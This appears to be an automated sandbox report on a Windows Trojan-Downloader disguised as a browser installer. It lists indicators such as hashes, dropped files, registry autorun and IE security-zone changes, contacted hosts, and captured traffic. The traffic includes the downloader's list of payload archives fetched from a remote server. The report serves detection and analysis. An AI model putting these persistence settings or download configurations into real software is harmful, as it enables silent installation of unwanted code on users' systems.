MD5: d617df9b1abb7d2bfe3e3cd00d6b7210
SHA1: c4e7e201287bd853f36bf963efcd6047f3c3cf68
SHA256: 538902107cc76f9ff23b813383701ad352bac8499cbf8609123ccb4d36b06121
SSDeep: 24576:jaRGmay4PjE9bUix084d2mVWca83VSQCbLL0mAS7:aGfjkoPwx8cHbLImAS7
Size: 1083210 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: MiniApp
Created at: 2009-06-07 00:41:59
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.

Payload

No specific payload has been found.

Process activity

The Trojan-Downloader creates the following process(es):

shandian.exe:3748

The Trojan-Downloader injects its code into the following process(es):

%original file name%.exe:2196
shandian.exe:3776
sdad.exe:3824

File activity

The process %original file name%.exe:2196 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):

%Program Files%\shandian\ico\360.ico (32 bytes)
%Documents and Settings%\%current user%\Desktop\Internet Explorer.lnk (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx2.tmp\bind.dll (2530 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\stat[1].htm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx2.tmp\xID.dll (10 bytes)
%Program Files%\shandian\bin\shandian.exe (28283 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx2.tmp\config0.ini (3 bytes)
%Program Files%\shandian\ico\ie.ico (700 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Desktop\ÉÁµçä¯ÀÀÆ÷.lnk (505 bytes)
%Program Files%\shandian\config.ini (194 bytes)
%Program Files%\shandian\bin\shandian.ini (74 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx2.tmp\config.ini (4 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\ÉÁµçä¯ÀÀÆ÷.lnk (700 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx2.tmp\Md5dll.dll (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Program Files%\shandian\ico\anquan.ico (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\desktop.ini (67 bytes)
%Program Files%\shandian\ico\taobao.ico (15 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\ÉÁµçä¯ÀÀÆ÷\ÉÁµçä¯ÀÀÆ÷.lnk (694 bytes)
%Program Files%\shandian\bin\sdad.exe (12955 bytes)
%Program Files%\shandian\shandian.exe (3124 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\ÉÁµçä¯ÀÀÆ÷\жÔØÉÁµçä¯ÀÀÆ÷.lnk (507 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SZIS9VJF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Desktop\360°²È«ä¯ÀÀÆ÷.lnk (1 bytes)

The Trojan-Downloader deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsx2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\stat[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss1.tmp (0 bytes)

The process shandian.exe:3776 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3F9KLW6F\desktop.ini (67 bytes)
%Program Files%\shandian\bin\twcache.ini (1392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3F9KLW6F\123_sogou_com[1].txt (15406 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1GGYBZUQ\welcome_cn[1].htm (1469 bytes)
%Program Files%\shandian\bin\shandian.ini.tmp (244 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1GGYBZUQ\desktop.ini (67 bytes)
%Program Files%\shandian\bin\theworld.ac (196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\3F9KLW6F\newioage[1].css (715 bytes)

The Trojan-Downloader deletes the following file(s):

%Program Files%\shandian\bin\shandian.ini (0 bytes)

The process shandian.exe:3748 makes changes in the file system.
The Trojan-Downloader deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\~DFA0E0.tmp (0 bytes)

The process sdad.exe:3824 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\6JFOCE1Z.txt (86 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\1GGYBZUQ\cpv1[1].htm (1117 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\miniindex[1].htm (3605 bytes)
%Program Files%\shandian\bin\update\PopWinParam.xml (196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SZIS9VJF\jquery-1.7.2.min[1].js (46418 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OVYHJBCC\cpc_img[1].htm (442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SZIS9VJF\tj[1].js (279 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SZIS9VJF\stylemini[1].css (4241 bytes)

Registry activity

The process %original file name%.exe:2196 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{fdd9f6f3-7454-11e2-b4cd-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ÉÁµçä¯ÀÀÆ÷]
"DisplayName" = "ÉÁµçä¯ÀÀÆ÷"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ÉÁµçä¯ÀÀÆ÷]
"Publisher" = "ÉÁµç"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ÉÁµçä¯ÀÀÆ÷]
"URLInfoAbout" = "http://www.sd.com"
"DisplayIcon" = "%Program Files%\shandian\shandian.exe"

"UninstallString" = "%Program Files%\shandian\uninst.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{fdd9f6f2-7454-11e2-b4cd-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 41 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ÉÁµçä¯ÀÀÆ÷]
"DisplayVersion" = "1.0.0.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8E 38 76 CD 22 EF A2 ED 55 FD 91 76 56 F8 0A 1F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{773a730e-74fb-11e2-b597-000c293bdf2f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{fdd9f6f5-7454-11e2-b4cd-806d6172696f}]
"BaseClass" = "Drive"

The Trojan-Downloader modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-Downloader modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Trojan-Downloader adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"shandian" = "%Program Files%\shandian\shandian.exe"

The Trojan-Downloader modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-Downloader deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process shandian.exe:3776 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Internet Explorer\International\CpMRU]
"Size" = "10"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{fdd9f6f3-7454-11e2-b4cd-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Internet Explorer\International\CpMRU]
"InitHits" = "100"

[HKCU\Software\Microsoft\Internet Explorer\International]
"W2KLpk" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Internet Explorer\International\CpMRU]
"Enable" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BLOCK_LMZ_SCRIPT]
"shandian.exe" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SCRIPTURL_MITIGATION]
"shandian.exe" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Internet Explorer\International\CpMRU]
"Factor" = "20"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{fdd9f6f2-7454-11e2-b4cd-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE]
"shandian.exe" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 45 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F7 1D 09 3C A6 24 2A 48 E8 13 1F FB 0B 91 69 E8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{773a730e-74fb-11e2-b597-000c293bdf2f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{fdd9f6f5-7454-11e2-b4cd-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Favorites" = "%Documents and Settings%\%current user%\Favorites"

The Trojan-Downloader modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-Downloader modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-Downloader modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-Downloader deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process shandian.exe:3748 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A8 46 AC 44 96 EE AC A1 19 93 B4 37 92 9C 6D D6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 43 00 00 00 01 00 00 00 00 00 00 00"

The Trojan-Downloader modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan-Downloader modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan-Downloader modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-Downloader deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process sdad.exe:3824 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "59 C1 81 AD C4 80 A3 57 6C 97 05 55 C4 F6 67 80"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 47 00 00 00 01 00 00 00 00 00 00 00"

The Trojan-Downloader modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan-Downloader modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan-Downloader modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-Downloader deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://stat.fjmjm.com/stat/?v=1&ac=setup&name=%original file name%.exe&mac=00-0C-29-3B-DF-2F&md5=cd1bf5c8668f31abd345f75407391ed8	112.124.102.171
hxxp://stat.fjmjm.com/stat/?ac=stat&name=%original file name%.exe&mac=00-0C-29-3B-DF-2F&md5=cd1bf5c8668f31abd345f75407391ed8	112.124.102.171
hxxp://stat.fjmjm.com/	112.124.102.171
hxxp://stat.fjmjm.com/web/welcome_cn.htm?ver=2.4.1.9&guid=a24a7d04104ebf0095dce7c62dcb34c065ffccc6f6834a08ba51a487958340021400889203&lastver=	112.124.102.171
hxxp://proxy.sogou.com/?22014
hxxp://stat.fjmjm.com/web/newioage.css	112.124.102.171
hxxp://stat.fjmjm.com/web/PopWinParam.asp?d=2014419&mainver=1.0.0&popver=1.0.0&xmlver=20131020010000	112.124.102.171
hxxp://stat.fjmjm.com/miniindex/	112.124.102.171
hxxp://stat.fjmjm.com/miniindex/inc/stylemini.css	112.124.102.171
hxxp://stat.fjmjm.com/miniindex/inc/jquery-1.7.2.min.js	112.124.102.171
hxxp://stat.fjmjm.com/miniindex/tj.js	112.124.102.171
hxxp://www.fjmjm.com/web/welcome_cn.htm?ver=2.4.1.9&guid=a24a7d04104ebf0095dce7c62dcb34c065ffccc6f6834a08ba51a487958340021400889203&lastver=	112.124.102.171
hxxp://www.jlbnh.com/	112.124.102.171
hxxp://www.mdtxw.org/miniindex/inc/stylemini.css	112.124.102.171
hxxp://www.mdtxw.org/miniindex/inc/jquery-1.7.2.min.js	112.124.102.171
hxxp://123.sogou.com/?22014	106.120.151.65
hxxp://www.mdtxw.org/miniindex/tj.js	112.124.102.171
hxxp://www.mdtxw.org/miniindex/	112.124.102.171
hxxp://www.fjmjm.com/web/newioage.css	112.124.102.171
down.jsrjrc.org	222.186.60.2

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY HTTP Request on Unusual Port Possibly Hostile

Traffic

GET /miniindex/inc/jquery-1.7.2.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 91342

Content-Type: application/x-javascript

Last-Modified: Thu, 10 Apr 2014 16:44:10 GMT

Accept-Ranges: bytes

ETag: "069a418dc54cf1:3b8"

Server: Microsoft-IIS/6.0

Who: ShanIE

Date: Sat, 24 May 2014 04:46:08 GMT
/*!. * jQuery JavaScript Library v1.6.1. * hXXp://jquery.com/. *. * Co
pyright 2011, John Resig. * Dual licensed under the MIT or GPL Version
 2 licenses.. * hXXp://jquery.org/license. *. * Includes Sizzle.js. * 
hXXp://sizzlejs.com/. * Copyright 2011, The Dojo Foundation. * Release
d under the MIT, BSD, and GPL Licenses.. *. * Date: Thu May 12 15:04:3
6 2011 -0400. */.(function(a,b){function cy(a){return f.isWindow(a)?a:
a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!cj[
a]){var b=f("<" a ">").appendTo("body"),d=b.css("display");b.rem
ove();if(d==="none"||d===""){ck||(ck=c.createElement("iframe"),ck.fram
eBorder=ck.width=ck.height=0),c.body.appendChild(ck);if(!cl||!ck.creat
eElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write("
<!doctype><html><body></body></html>");b
=cl.createElement(a),cl.body.appendChild(b),d=f.css(b,"display"),c.bod
y.removeChild(ck)}cj[a]=d}return cj[a]}function cu(a,b){var c={};f.eac
h(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}fu
nction ct(){cq=b}function cs(){setTimeout(ct,0);return cq=f.now()}func
tion ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b)
{}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function c
b(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,
e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g  ){if(g===1)fo
r(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converte
rs[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"&&l!==k){m=l " " k
<<< skipped >>>

GET /stat/?v=1&ac=setup&name=%original file name%.exe&mac=00-0C-29-3B-DF-2F&md5=cd1bf5c8668f31abd345f75407391ed8 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36

Host: stat.fjmjm.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sat, 24 May 2014 04:45:38 GMT

Server: Microsoft-IIS/6.0

Who: ShanIE

Content-Length: 4514

Content-Type: text/html

Set-Cookie: ASPSESSIONIDAQRTSTST=KNJENNHDONBIEPLGNFNANOJL; path=/

Cache-control: private
..[ShortCut_1]..Desc=360............Hint=360............Name=360......
......URL=hXXp://VVV.jlbnh.com..Icon=ico\360.ico..[ShortCut_2]..Desc=I
nternet Explorer..Hint=Internet Explorer..Name=Internet Explorer..URL=
hXXp://VVV.jlbnh.com..Icon=ico\ie.ico..[SoftWare_1]..Desc=..........Hi
nt=..........Name=F30241_s_0523..URL=hXXp://down.jsrjrc.org:99/F30241_
s_0523.rar..reg=HKLM\SOFTWARE\Baidu\BaiduSd\InstallDir..[SoftWare_2]..
Desc=..........Hint=..........Name=cgqhlv_70690..URL=hXXp://down.jsrjr
c.org:99/cgqhlv_70690.rar..reg=HKLM\SOFTWARE\Baidu\BaiduAn\InstallDir.
.[SoftWare_3]..Desc=..........Hint=..........Name=KXWebBox_3409_RBF..U
RL=hXXp://down.jsrjrc.org:99/KXWebBox_3409_RBF.rar..reg=HKLM\SOFTWARE\
Microsoft\Windows\CurrentVersion\App Paths\XXGameBox.exe\..[SoftWare_4
]..Desc=..........Hint=..........Name=pczh_98_2..URL=hXXp://down.jsrjr
c.org:99/pczh_98_2.rar..reg=HKLM\SOFTWARE\Microsoft\Windows\CurrentVer
sion\App Paths\Ainqngz3.9.exe\..[SoftWare_5]..Desc=......Hint=......Na
me=kuping_b_54282..URL=hXXp://down.jsrjrc.org:99/kuping_b_54282.rar..r
eg=HKCU\Software\Kuping\InstallPath..[SoftWare_6]..Desc=..............
Hint=..............Name=qiqibox_1016..URL=hXXp://down.jsrjrc.org:99/qi
qibox_1016.rar..reg=HKLM\SOFTWARE\qi..

GET /miniindex/inc/stylemini.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.mdtxw.org/miniindex/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)

Host: VVV.mdtxw.org

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 11323

Content-Type: text/css

Last-Modified: Thu, 10 Apr 2014 18:35:54 GMT

Accept-Ranges: bytes

ETag: "0a189b4eb54cf1:3b8"

Server: Microsoft-IIS/6.0

Who: ShanIE

Date: Sat, 24 May 2014 04:46:08 GMT
img{border:0}..#mini_wrap .bor_n {...border: 0px currentColor;..}..#mi
ni_wrap .none {...display: none;..}..#mini_wrap {.....}..#closehBtn {.
..background: url("close.png") no-repeat 0px 0px; padding: 0px; top: 0
px; width: 40px; height: 19px; color: rgb(11, 59, 140); font-size: 14p
x; vertical-align: 0px; position: relative;..}..#closehBtn:hover {...b
ackground: url("close.png") no-repeat -40px 0px;..}..#minBtn {...backg
round: url("min.png") no-repeat 0px 0px; padding: 0px; top: 0px; width
: 27px; height: 19px; color: rgb(11, 59, 140); font-size: 14px; vertic
al-align: 0px; position: relative;..}..#minBtn:hover {...background: u
rl("min.png") no-repeat -27px 0px;..}...wrapper {...margin: 0px auto; 
width: 698px; height: 399px; text-align: left;..}...normal_bg {...back
ground: url("normal_bg.png") no-repeat 0px 0px rgb(255, 255, 255);..}.
..body_bg {...position: relative;..}...header {...width: 698px; height
: 33px;..}...nav_box .refresh_box a {...background-image: url("ico_new
2.png"); background-repeat: no-repeat;..}...nav_box .on_bg {...backgro
und-image: url("ico_new2.png"); background-repeat: no-repeat;..}...nav
_box {...padding: 4px 0px 0px 10px; width: 688px;..}...nav_box span {.
..color: rgb(188, 202, 224); float: left;..}...nav_box a {...width: 45
px; height: 26px; text-align: center; color: rgb(11, 59, 140); padding
-top: 3px; font-size: 14px; text-decoration: none; display: inline-blo
ck; position: relative; _vertical-align: middle;..}...nav_box .on_bg {
...background-position: 0px -460px; left: 18px; width: 9px; height
<<< skipped >>>

GET /web/PopWinParam.asp?d=2014419&mainver=1.0.0&popver=1.0.0&xmlver=20131020010000 HTTP/1.1

User-Agent: Crazyk

Host: stat.fjmjm.com

Cookie: ASPSESSIONIDAQRTSTST=EPJENNHDMNNMPGBNECGBPKIL

HTTP/1.1 200 OK

Date: Sat, 24 May 2014 04:45:55 GMT

Server: Microsoft-IIS/6.0

Who: ShanIE

Content-Length: 4659

Content-Type: text/html

Cache-control: private
..<?xml version="1.0" encoding="gb2312"?>..<SoftwareConfig>
;..  <Version>20140524124555</Version>..  <Popwin>..
.    <Item id="1">..      <Subject>........</Subject>
;..      <WinWidth>708</WinWidth>..      <WinHeight>
404</WinHeight>..      <StartUpPosition>0</StartUpPosit
ion>..      <URL>hXXp://VVV.mdtxw.org/miniindex/</URL> 
..      <StartUpTime>10</StartUpTime>..      <ShowIntev
al>7200</ShowInteval>..      <AutoClose>600</AutoClo
se>..      <isShow>1</isShow>..    </Item>..    &
lt;Item id="2">..      <Subject>........</Subject>..   
  <WinWidth>300</WinWidth>..      <WinHeight>265<
/WinHeight>..      <StartUpPosition>1</StartUpPosition>
..      <URL>hXXp://stat.fjmjm.com/a/cpv1.html?t=20140524124555&
lt;/URL> ..      <StartUpTime>50</StartUpTime>..      &
lt;ShowInteval>0</ShowInteval>..      <AutoClose>50<
/AutoClose>..      <isShow>1</isShow>..    </Item>
;..    <Item id="3">..      <Subject>....LB</Subject>
;..      <WinWidth>300</WinWidth>..      <WinHeight>
265</WinHeight>..      <StartUpPosition>1</StartUpPosit
ion>..      <URL>hXXp://stat.fjmjm.com/a/cpv1.html?t=20140524
124555</URL>..      <StartUpTime>200</StartUpTime>..
      <ShowInteval>7200</ShowInteval>..      <AutoC
<<< skipped >>>

GET / HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E; TheWorld)

Host: VVV.jlbnh.com

Connection: Keep-Alive

HTTP/1.1 302 Redirect

Content-Length: 150

Content-Type: text/html

Location: hXXp://123.sogou.com/?22014

Server: Microsoft-IIS/6.0

Who: ShanIE

Date: Sat, 24 May 2014 04:45:51 GMT
<head><title>Document Moved</title></head>.<
;body><h1>Object Moved</h1>This document may be found &
lt;a HREF="hXXp://123.sogou.com/?22014">here</a></body>
..

